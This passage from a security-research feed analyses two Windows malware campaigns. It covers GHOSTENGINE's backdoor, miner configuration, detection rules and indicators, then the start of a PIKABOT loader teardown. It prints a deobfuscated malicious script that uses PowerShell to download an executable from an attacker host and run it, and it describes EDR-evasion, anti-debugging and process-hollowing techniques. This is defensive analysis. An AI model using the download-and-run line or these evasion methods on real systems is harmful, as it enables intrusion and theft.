<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image23.png" alt="oci.dll downloading and executing get.png" title="oci.dll downloading and executing get.png" /></p>
<h4>EDR agent termination module: <code>kill.png</code></h4>
<p><code>kill.png</code> is a PowerShell script that injects shellcode into the current process, decrypting and loading a PE file into memory.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image24.png" alt="kill.png injecting shellcode" title="kill.png injecting shellcode" /></p>
<p>This module is written in C++, and the authors have integrated redundancy into its operation. This redundancy is evident in the replication of the technique used in <code>smartsscreen.exe</code> to terminate and delete EDR agent binaries; it continuously scans for any new processes.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image7.png" alt="kill.png hardcoded security agent monitoring list" title="kill.png hardcoded security agent monitoring list" /></p>
<h4>Powershell backdoor module: <code>backup.png</code></h4>
<p>The PowerShell script functions like a backdoor, enabling remote command execution on the system. It continually sends a Base64-encoded JSON object containing a unique ID, derived from the current time and the computer name while awaiting base64-encoded commands. The results of those commands are then sent back.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image18.png" alt="backup.png operating as a backdoor" title="backup.png operating as a backdoor" /></p>
<p>In this example <code>eyJpZCI6IjE3MTU2ODYyNDA3MjYyNiIsImhvc3QiOiJhbmFseXNpcyJ9</code> is the Base64-encoded JSON object:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image16.png" alt="C2 Communication example of backup.png" title="backup.png HTTP header information" /></p>
<pre><code>$ echo &quot;eyJpZCI6IjE3MTU2ODYyNDA3MjYyNiIsImhvc3QiOiJhbmFseXNpcyJ9&quot; | base64 -D
{&quot;id&quot;:&quot;171568624072626&quot;,&quot;host&quot;:&quot;analysis&quot;}
</code></pre>
<h2>Miner configuration</h2>
<p>XMRig is a legitimate crypto miner, and they have documented the configuration file usage and elements <a href="https://xmrig.com/docs/miner/config">here</a>. As noted at the beginning of this publication, the ultimate goal of the REF4578 intrusion set was to gain access to an environment and deploy a persistent Monero crypto miner, XMRig.</p>
<p>We extracted the configuration file from the miner, which was tremendously valuable as it allowed us to report on the Monero Payment ID and track the worker and pool statistics, mined cryptocurrency, transaction IDs, and withdrawals.</p>
<p>Below is an excerpt from the REF4578 XMRig configuration file:</p>
<pre><code>{
    &quot;autosave&quot;: false,
    &quot;background&quot;: true,
    &quot;colors&quot;: true,

...truncated...

    &quot;donate-level&quot;: 0,
    &quot;donate-over-proxy&quot;: 0,
    &quot;pools&quot;: [
        {
            &quot;algo&quot;: &quot;rx/0&quot;,
            &quot;coin&quot;: &quot;monero&quot;,
            &quot;url&quot;: &quot;pool.supportxmr[.]com:443&quot;,
            &quot;user&quot;: &quot;468ED2Qcchk4shLbD8bhbC3qz2GFXqjAUWPY3VGbmSM2jfJw8JpSDDXP5xpkMAHG98FHLmgvSM6ZfUqa9gvArUWP59tEd3f&quot;,
            &quot;keepalive&quot;: true,
            &quot;tls&quot;: true

...truncated...

    &quot;user-agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36&quot;,
    &quot;verbose&quot;: 0,
    &quot;watch&quot;: true,
    &quot;pause-on-battery&quot;: false,
    &quot;pause-on-active&quot;: false
}
</code></pre>
<h3>Monero Payment ID</h3>
<p>Monero is a blockchain cryptocurrency focusing on obfuscation and fungibility to ensure anonymity and privacy. The <a href="https://www.getmonero.org/resources/moneropedia/paymentid.html">Payment ID</a> is an arbitrary and optional transaction attachment that consists of 32 bytes (64 hexadecimal characters) or 8 bytes (in the case of integrated addresses).</p>
<p>Using the Payment ID from the above configuration excerpt (<code>468ED2Qcchk4shLbD8bhbC3qz2GFXqjAUWPY3VGbmSM2jfJw8JpSDDXP5xpkMAHG98FHLmgvSM6ZfUqa9gvArUWP59tEd3f</code>) we can view the worker and pool statistics on one of the <a href="https://monero.hashvault.pro/en/">Monero Mining Pool site</a>s listed in the configuration.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image22.png" alt="Worker and pool statistics of the REF4578 Payment ID" title="Worker and pool statistics of the REF4578 Payment ID" /></p>
<p>Additionally, we can see the transaction hashes, which we can look up on the Monero blockchain explorer. Note that while transactions date back four months ago, this only indicates the <em>potential</em> monetary gain by this specific worker and account.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image2.png" alt="Payments for the REF4578 Payment ID" title="Payments for the REF4578 Payment ID" /></p>
<p>Using the Blockchain Explorer and one of the <a href="https://monero.hashvault.pro/explorer/prove/7c106041de7cc4c86cb9412a43cb7fc0a6ad2c76cfdb0e03a8ef98dd9e744442/468ED2Qcchk4shLbD8bhbC3qz2GFXqjAUWPY3VGbmSM2jfJw8JpSDDXP5xpkMAHG98FHLmgvSM6ZfUqa9gvArUWP59tEd3f/f1415e7710323cf769ce74d57ec9b7337d7a61b9ee4bba2ee38f9e8c3c067a005a484f8b9a14fb8964f56bb76181eafdb7dbb00677a155b067204423f23ab50ad146867795f560ad9443520f073f0bd71b8afd3259b24ae2a59aa7772f68fc028388f001bfeaa0f4ccc1f547b54924bb116352e9302424d731dc580dcccbb40749503640895d31559d7fc258b616576e7f052bbdbbc7083126f595c36015de02f6e95da8cfc81ee5fa1bd4d4c29bf55db96e4779924ab0d26993f7bf834ceb01fe314fd19e55c7304f91e809be3e29b68778f0da6dbcfe57d3eafc6dae5e090645d6b3753f44c4e1c1356b19d406c6efe7a55ec7c2b4997bd1fc65f15a4fda03619fc53beff111ddd9fd94f5ba3c503ccb73f52009bd3c1d47216b9a7c82d5065ac5e8a946e998cbc23fd8815a93cbbd655961709ac3ea8b1fd87e940e72370dc542ca4c22837e91ab5dd94d2c1c0a81e8ec9558766575ba236c3ae29b0f470fe881e22a03da405118a3353a5ecc618d1837e1a2bd449888a47a761efa98c407ce857fd389cdea63e9670edcf4b4d6c4c33e9c2851430270c8ef6dfb8cfeb9025ca7a17c9acdbfeb6670b3eabcbfde36cbc907e23fdd0c64aa2fc4103412a70c97838e177184c2f3d794e089b47ce66656d6c4cab2bbb4d6d71a3245f1dc360c7da9220eec90ef6e67cb13831b52ef14cf5bf1dd6adc202edc0892d9529145047786ed1042857f6986ed608839d595f06c1971f415f967d260d17ea8f5582400">transaction hashes</a> we got from the Payment ID, we can see the public key, the amount is withdrawn, and when. Note that these public keys are used with one-time addresses, or stealth addresses that the adversary would then use a private key with to unlock the funds.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image17.png" alt="Transactions for the REF4578 Payment ID" title="Transactions for the REF4578 Payment ID" /></p>
<p>In the above example for transaction <code>7c106041de7cc4c86cb9412a43cb7fc0a6ad2c76cfdb0e03a8ef98dd9e744442</code> we can see that there was a withdrawal of <code>0.109900000000</code> XMR (the abbreviation for Monero) totaling $14.86 USD. The Monerao Mining Pool site shows four transactions of approximately the same amount of XMR, totaling approximately $60.70 USD (January - March 2024).</p>
<p>As of the publication of this research, there are still active miners connected to the REF4578 Payment ID.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image5.png" alt="Miners actively connecting to the REF4578 Payment ID" title="Miners actively connecting to the REF4578 Payment ID" /></p>
<p>While this specific Payment ID does not appear to be a big earner, it is evident that REF4578 could operate this intrusion set successfully. Other victims of this campaign could have different Payment IDs used to track intrusions, which could be combined for a larger overall haul.</p>
<h2>Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0040/">Impact</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled Task/Job: Scheduled Task</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/001/">Indicator Removal: Clear Windows Event Logs</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/">Masquerading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1132">Data Encoding</a></li>
<li><a href="https://attack.mitre.org/techniques/T1496/">Resource Hijacking</a></li>
<li><a href="https://attack.mitre.org/techniques/T1489/">Service Stop</a></li>
</ul>
<h2>Mitigating GHOSTENGINE</h2>
<h3>Detection</h3>
<p>The first objective of the GHOSTENGINE malware is to incapacitate endpoint security solutions and disable specific Windows event logs, such as Security and System logs,  which record process creation and service registration. Therefore, it is crucial to prioritize the detection and prevention of these initial actions:</p>
<ul>
<li>Suspicious PowerShell execution</li>
<li>Execution from unusual directories</li>
<li>Elevating privileges to system integrity</li>
<li>Deploying vulnerable drivers and establishing associated kernel mode services.</li>
</ul>
<p>Once the vulnerable drivers are loaded, detection opportunities decrease significantly, and organizations must find compromised endpoints that stop transmitting logs to their SIEM.</p>
<p>Network traffic may generate and be identifiable if DNS record lookups point to <a href="https://miningpoolstats.stream/monero">known mining pool</a> domains over well-known ports such as HTTP (<code>80</code>) and HTTPS  (<code>443</code>). Stratum is also another popular network protocol for miners, by default, over port <code>4444</code>.</p>
<p>The analysis of this intrusion set revealed the following detection rules and behavior prevention events:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_downloads.toml">Suspicious PowerShell Downloads</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/privilege_escalation_service_control_spawned_script_int.toml">Service Control Spawned via Script Interpreter</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/persistence_local_scheduled_task_creation.toml">Local Scheduled Task Creation</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/defense_evasion_from_unusual_directory.toml">Process Execution from an Unusual Directory</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/execution_command_shell_started_by_svchost.toml#L41">Svchost spawning Cmd</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/execution_command_shell_started_by_svchost.toml#L41">Unusual Parent-Child Relationship</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/defense_evasion_clearing_windows_event_logs.toml">Clearing Windows Event Logs</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/defense_evasion_microsoft_defender_tampering.toml">Microsoft Windows Defender Tampering</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/privilege_escalation_potential_privilege_escalation_via_missing_dll.toml">Potential Privilege Escalation via Missing DLL</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/defense_evasion_binary_masquerading_via_untrusted_path.toml#L58">Binary Masquerading via Untrusted Path</a></li>
</ul>
<h3>Prevention</h3>
<p>Malicious Files Prevention :</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image1.png" alt="GHOSTENGINE file prevention" title="GHOSTENGINE file prevention" /></p>
<p>Shellcode Injection Prevention:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image14.png" alt="GHOSTENGINE shellcode prevention" title="GHOSTENGINE shellcode prevention" /></p>
<p>Vulnerable Drivers file creation prevention (<a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/yara/rules/Windows_VulnDriver_ArPot.yar">Windows.VulnDriver.ArPot</a> and <a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/yara/rules/Windows_VulnDriver_IoBitUnlocker.yar">Windows.VulnDriver.IoBitUnlocker</a> )</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image15.png" alt="GHOSTENGINE driver prevention" title="GHOSTENGINE driver prevention" /></p>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_GhostEngine.yar">Windows Trojan GHOSTENGINE</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/yara/rules/Windows_VulnDriver_ArPot.yar">Windows.VulnDriver.ArPot</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/yara/rules/Windows_VulnDriver_IoBitUnlocker.yar">Windows.VulnDriver.IoBitUnlocker</a></li>
</ul>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ghostengine">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>2fe78941d74d35f721556697491a438bf3573094d7ac091b42e4f59ecbd25753</code></td>
<td>SHA-256</td>
<td><code>C:\Windows\Fonts\smartsscreen.exe</code></td>
<td>GHOSTENGINE EDR controller module</td>
</tr>
<tr>
<td><code>4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1</code></td>
<td>SHA-256</td>
<td><code>C:\Windows\System32\drivers\aswArPots.sys</code></td>
<td>Avast vulnerable driver</td>
</tr>
<tr>
<td><code>2b33df9aff7cb99a782b252e8eb65ca49874a112986a1c49cd9971210597a8ae</code></td>
<td>SHA-256</td>
<td><code>C:\Windows\System32\drivers\IObitUnlockers.sys</code></td>
<td>Iobit vulnerable driver</td>
</tr>
<tr>
<td><code>3ced0552b9ecf3dfecd14cbcc3a0d246b10595d5048d7f0d4690e26ecccc1150</code></td>
<td>SHA-256</td>
<td><code>C:\Windows\System32\oci.dll</code></td>
<td>Update/Persistence module (64-bit)</td>
</tr>
<tr>
<td><code>3b2724f3350cb5f017db361bd7aae49a8dbc6faa7506de6a4b8992ef3fd9d7ab</code></td>
<td>SHA-256</td>
<td><code>C:\Windows\System32\oci.dll</code></td>
<td>Update/Persistence module (32-bit)</td>
</tr>
<tr>
<td><code>35eb368c14ad25e3b1c58579ebaeae71bdd8ef7f9ccecfc00474aa066b32a03f</code></td>
<td>SHA-256</td>
<td><code>C:\Windows\Fonts\taskhostw.exe</code></td>
<td>Miner client</td>
</tr>
<tr>
<td><code>786591953336594473d171e269c3617d7449876993b508daa9b96eedc12ea1ca</code></td>
<td>SHA-256</td>
<td><code>C:\Windows\Fonts\config.json</code></td>
<td>Miner configuration file</td>
</tr>
<tr>
<td><code>11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5</code></td>
<td>SHA-256</td>
<td><code>C:\Windows\Fonts\WinRing0x64.sys</code></td>
<td>Miner driver</td>
</tr>
<tr>
<td><code>aac7f8e174ba66d62620bd07613bac1947f996bb96b9627b42910a1db3d3e22b</code></td>
<td>SHA-256</td>
<td><code>C:\ProgramData\Microsoft\DeviceSync\SystemSync\Tiworker.exe</code></td>
<td>Initial stager</td>
</tr>
<tr>
<td><code>6f3e913c93887a58e64da5070d96dc34d3265f456034446be89167584a0b347e</code></td>
<td>SHA-256</td>
<td><code>backup.png</code></td>
<td>GHOSTENGINE backdoor module</td>
</tr>
<tr>
<td><code>7c242a08ee2dfd5da8a4c6bc86231985e2c26c7b9931ad0b3ea4723e49ceb1c1</code></td>
<td>SHA-256</td>
<td><code>get.png</code></td>
<td>GHOSTENGINE loader</td>
</tr>
<tr>
<td><code>cc4384510576131c126db3caca027c5d159d032d33ef90ef30db0daa2a0c4104</code></td>
<td>SHA-256</td>
<td><code>kill.png</code></td>
<td>GHOSTENGINE EDR termination module</td>
</tr>
<tr>
<td><code>download.yrnvtklot[.]com</code></td>
<td>domain</td>
<td></td>
<td>C2 server</td>
</tr>
<tr>
<td><code>111.90.158[.]40</code></td>
<td>ipv4-addr</td>
<td></td>
<td>C2 server</td>
</tr>
<tr>
<td><code>ftp.yrnvtklot[.]com</code></td>
<td>domain</td>
<td></td>
<td>C2 server</td>
</tr>
<tr>
<td><code>93.95.225[.]137</code></td>
<td>ipv4-addr</td>
<td></td>
<td>C2 server</td>
</tr>
<tr>
<td><code>online.yrnvtklot[.]com</code></td>
<td>domain</td>
<td></td>
<td>C2 server</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.antiy.com/response/HideShoveling.html">https://www.antiy.com/response/HideShoveling.html</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/ghostengine.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[PIKABOT, I choose you!]]></title>
            <link>https://www.elastic.co/jp/security-labs/pikabot-i-choose-you</link>
            <guid>pikabot-i-choose-you</guid>
            <pubDate>Sat, 24 Feb 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs observed new PIKABOT campaigns, including an updated version. PIKABOT is a widely deployed loader malicious actors utilize to distribute additional payloads.]]></description>
            <content:encoded><![CDATA[<h2>PIKABOT at a glance</h2>
<p>PIKABOT is a widely deployed loader malicious actors utilize to distribute payloads such as Cobalt Strike or launch ransomware. On February 8th, the Elastic Security Labs team observed new PIKABOT campaigns, including an updated variant. This version of the PIKABOT loader uses a new unpacking method and heavy obfuscation. The core module has added a new string decryption implementation, changes to obfuscation functionality, and various other modifications.</p>
<p>This post will highlight the initial campaign, break down the new loader functionality,  and review the core components. There are interesting design choices in this new update that we think are the start of a new codebase that will make further improvements over time. While the functionality is similar to previous builds, these new updates have likely broken signatures and previous tooling.</p>
<p>During the development of this research, the ThreatLabz team at Zscaler released great <a href="https://www.zscaler.com/blogs/security-research/d-evolution-pikabot">analysis</a> and insights into a sample overlapping with those in this post. We suggest reading their work along with ours to understand these PIKABOT changes comprehensively.</p>
<h3>Key takeaways</h3>
<ul>
<li>Fresh campaigns involving significant updates to the PIKABOT loader and core components</li>
<li>PIKABOT loader uses a new unpacking technique of combining scattered chunks of encrypted data in base64 format from <code>.data</code> section</li>
<li>Changes in the core include toned-down obfuscation and in-line RC4 functions, plaintext configuration at runtime, removal of AES during network communications</li>
<li>PIKABOT development appears as a work-in-progress, with future updates likely imminent</li>
<li>Call-stack visibility using Elastic Security provides the ability to triage threats like PIKABOT rapidly</li>
</ul>
<h4>PIKABOT campaign overview</h4>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image17.png" alt="PIKABOT execution flow" /></p>
<p>As the new year started, PIKABOT distribution remained inactive until approximately two weeks ago. This new campaign on February 8th involved emails with hyperlinks that led to ZIP archive files containing a malicious obfuscated Javascript script.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image21.png" alt="Obfuscated Javascript within ZIP archive" /></p>
<p>Below are the contents of the obfuscated JavaScript file, showing the next sequence to download and execute PIKABOT’s loader using PowerShell.</p>
<pre><code class="language-JavaScript">// deobfuscated
var sites = ['https://gloverstech[.]com/tJWz9/', '', '']
for (var i = 0x0; i &lt; 3; i++)
{
	var obj = new ActiveXObject(&quot;WScript.Shell&quot;)
	obj['Run'](&quot;powershell Invoke-WebRequest https://gloverstech[.]com/tJWz9/0.2343379541861872.dat -OutFile %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe; saps %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe&quot;)
}
</code></pre>
<h2>PIKABOT loader</h2>
<h3>Loader stage 1</h3>
<p>To appear authentic, the developer tampered with a legitimate search and replace tool called <code>grepWinNP3.exe</code> from <a href="https://github.com/rizonesoft/Notepad3">this</a> repository. Using our internal sandboxing project (<a href="https://www.elastic.co/jp/security-labs/click-click-boom-automating-protections-testing-with-detonate">Detonate</a>) and leveraging Elastic Defend’s <a href="https://www.elastic.co/jp/security-labs/peeling-back-the-curtain-with-call-stacks">call stack feature</a> provided a detailed trace of the execution, allowing us to pinpoint the entry point of malicious code.</p>
<p>An analysis of the call stack data reveals that execution begins at a call before offset <code>0x81aa7</code> within the malicious file; the execution then leaps to a memory allocation at a call prior to offset <code>0x25d84</code>. Furthermore, it was observed that the process creation call stack is missing normal calls to <code>KernelBase.dll!CreateProcessInternalW</code> and <code>ntdll.dll!NtCreateUserProcess</code>, due to the use of a syscall via shellcode execution residing in the <a href="https://www.elastic.co/jp/security-labs/hunting-memory">unbacked memory</a>. By using this implementation, it will bypass user-mode hooks on WOW64 modules to evade EDR products.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image8.png" alt="Alert call stack for PIKABOT loader" /></p>
<p>Looking into the offset <code>0x81aa7</code> of the malicious file and conducting a side-by-side code comparison with a verified, benign version of the <code>grepWinNP3.exe</code> file, we identified something distinct and unusual: a hardcoded address to execute the PIKABOT loader, this marks the entrypoint of the PIKABOT loader.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image1.png" alt="Entrypoint to malicious code" /></p>
<p>The malicious code employs heavy obfuscation, utilizing a technique where a jump (<code>JMP</code>) follows each assembly instruction. This approach significantly complicates analysis by disrupting the straightforward flow of execution.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image14.png" alt="Obfuscation involving a combination of instructions and jumps" /></p>
<p>The loader extracts its stage 2 payload from the <code>.text</code> section, where it is stored in chunks of <code>0x94</code> bytes, before consolidating the pieces. It then employs a seemingly custom decryption algorithm, which utilizes bitwise operations.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image5.png" alt="Decryption algorithm for stage 2 payload" /></p>
<p>The next step of the process is to reflectively load the PE file within the confines of the currently executing process. This technique involves dynamically loading the PE file's contents into memory and executing it, without the need for the file to be physically written to disk. This method not only streamlines the execution process by eliminating the necessity for external file interactions but also significantly enhances stealth by minimizing the digital footprint left on the host system.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image25.png" alt="Reflectively loading PE" /></p>
<h3>Loader stage 2</h3>
<p>The stage 2 loader, tasked with initializing the PIKABOT core within a newly established process, employs a blend of code and string obfuscation techniques similar to those found in the core itself. In addition to its obfuscation capabilities, the loader incorporates a series of advanced anti-debugging countermeasures.</p>
<h4>Anti-debugging</h4>
<p>The malware utilizes specific NTDLL <code>Zw</code> APIs for a variety of operations, including debugger detection, process creation, and injection, aiming to stay under the radar of detection mechanisms and evade EDR (Endpoint Detection and Response) user-land hooking, as well as debugging attempts.</p>
<p>It executes syscalls directly, bypassing conventional API calls that are more susceptible to monitoring and interception. It uses a wrapper function that facilitates the execution of syscalls in 64-bit mode which takes a hash of a <code>Zw</code> API name as a parameter.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image24.png" alt="Function used to execute syscall by hash" /></p>
<p>The wrapper function extracts the syscall ID by parsing the loaded NTDLL and matching the hash of the <code>Zw</code> function name. After finding the correct syscall ID, it uses the <code>Wow64Transition</code> Windows API to execute the syscall in 64-bit mode.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image11.png" alt="Control flow graph showing syscall passed to WoW64Transition" /></p>
<p>Note that the parameters needed are pushed on the stack before the wrapper is called, the following example showcases a <code>ZwQueryInformationProcess</code> call with the <code>ProcessInformationClass</code> set to <code>ProcessDebugPort</code>(7):</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image6.png" alt="Syscall parameters pushed on stack" /></p>
<p>The malware employs a series of anti-debugging techniques designed to thwart detection by debugging and forensic tools. These techniques include:</p>
<ul>
<li>Calling <code>ZwQuerySystemInformation</code> with the <code>SystemKernelDebuggerInformation</code> parameter to detect the presence of kernel debuggers.</li>
<li>Calling <code>ZwQueryInformationProcess</code> with the <code>ProcessInformationClass</code> set to <code>ProcessDebugPort</code> to identify any debugging ports associated with the process.</li>
<li>Calling <code>ZwQueryInformationProcess</code> again, but with the <code>ProcessInformationClass</code> set to <code>ProcessDebugFlags</code> parameter, to ascertain if the process has been flagged for debugging.</li>
<li>Inspecting the Process Environment Block (PEB) for the <code>BeingDebugged</code> flag, which indicates if the process is currently being debugged.</li>
<li>Using <code>GetThreadContext</code> to detect hardware breakpoints.
Scanning the list of currently running processes to identify any active debugging or forensic tools.</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image9.png" alt="Decompilation of debugging checks" /></p>
<p>Interestingly, we discovered a bug where some of the process names it checks have their first byte zeroed out, this could suggest a mistake by the malware’s author or an unwanted side-effect added by the obfuscation tool. The full list of process names that are checked can be found at the end of this article.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image15.png" alt="Process names with missing first byte" /></p>
<h4>Execution</h4>
<p>The loader populates a global variable with the addresses of essential APIs from the NTDLL and KERNEL32 libraries. This step is pivotal for the malware's operation, as these addresses are required for executing subsequent tasks. Note that the loader employs a distinct API name hashing algorithm, diverging from the one previously used for <code>Zw</code> APIs.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image19.png" alt="APIs retrieved for loading core component" /></p>
<p>Below is the reconstructed structure:</p>
<pre><code class="language-C">struct global_variable
{
  int debugger_detected;
  void* LdrLoadDll;
  void* LdrGetProcedureAddress;
  void* RtlAllocateHeap;
  void* RtlFreeHeap;
  void* RtlDecompressBuffer;
  void* RtlCreateProcessParametersEx;
  void* RtlDestroyProcessParameters;
  void* ExitProcess;
  void* CheckRemoteDebuggerPresent;
  void* VirtualAlloc;
  void* GetThreadContext;
  void* VirtualFree;
  void* CreateToolhelp32Snapshot;
  void* Process32FirstW;
  void* Process32NextW;
  void* ntdll_module;
  void* kernel32_dll;
  int field_48;
  uint8_t* ptr_decrypted_PIKABOT_core;
  int decrypted_PIKABOT_core_size;
  TEB* TEB;
};
</code></pre>
<p>Loader structure</p>
<p>The malware then consolidates bytes of the PIKABOT core that are scattered in the <code>.data</code> section in base64-encoded chunks, which is noteworthy when compared to a previous version which loaded a set of PNGs from its resources section.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image2.png" alt="Functions used to retrieve core payload in chunks" /></p>
<p>It executes a sequence of nine distinct functions, each performing similar operations but with varying arguments. Each function decrypts an RC4 key using an in-line process that utilizes strings that appear legitimate. The function then base64 decodes each chunk before decrypting the bytes.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image3.png" alt="Decryption functions using RC4 and base64" /></p>
<p>After consolidating the decrypted bytes, it uses the <code>RtlDecompressBuffer</code> API to decompress them.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image27.png" alt="PIKABOT loader using decompression function" /></p>
<p>The loader creates a suspended instance of <code>ctfmon.exe</code> using the <code>ZwCreateUserProcess</code> syscall, a tactic designed to masquerade as a legitimate Windows process. Next, it allocates a large memory region remotely via the <code>ZwAllocateVirtualMemory</code> syscall to house the PIKABOT core's PE file.</p>
<p>Subsequently, the loader writes the PIKABOT core into the newly allocated memory area using the <code>ZwWriteVirtualMemory</code> syscall. It then redirects the execution flow from <code>ctfmon.exe</code> to the malicious PIKABOT core by calling the <code>SetContextThread</code> API to change the thread's execution address. Finally, it resumes the thread with <code>ZwResumeThread</code> syscall.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image13.png" alt="Syscall execution of core payload" /></p>
<h2>PIKABOT core</h2>
<p>The overall behavior and functionality of the updated PIKABOT core are similar to previous versions: the bot collects initial data from the victim machine and presents the threat actor with command and control access to enable post-compromise behavior such as command-line execution, discovery, or launching additional payloads through injection.</p>
<p>The notable differences include:</p>
<ul>
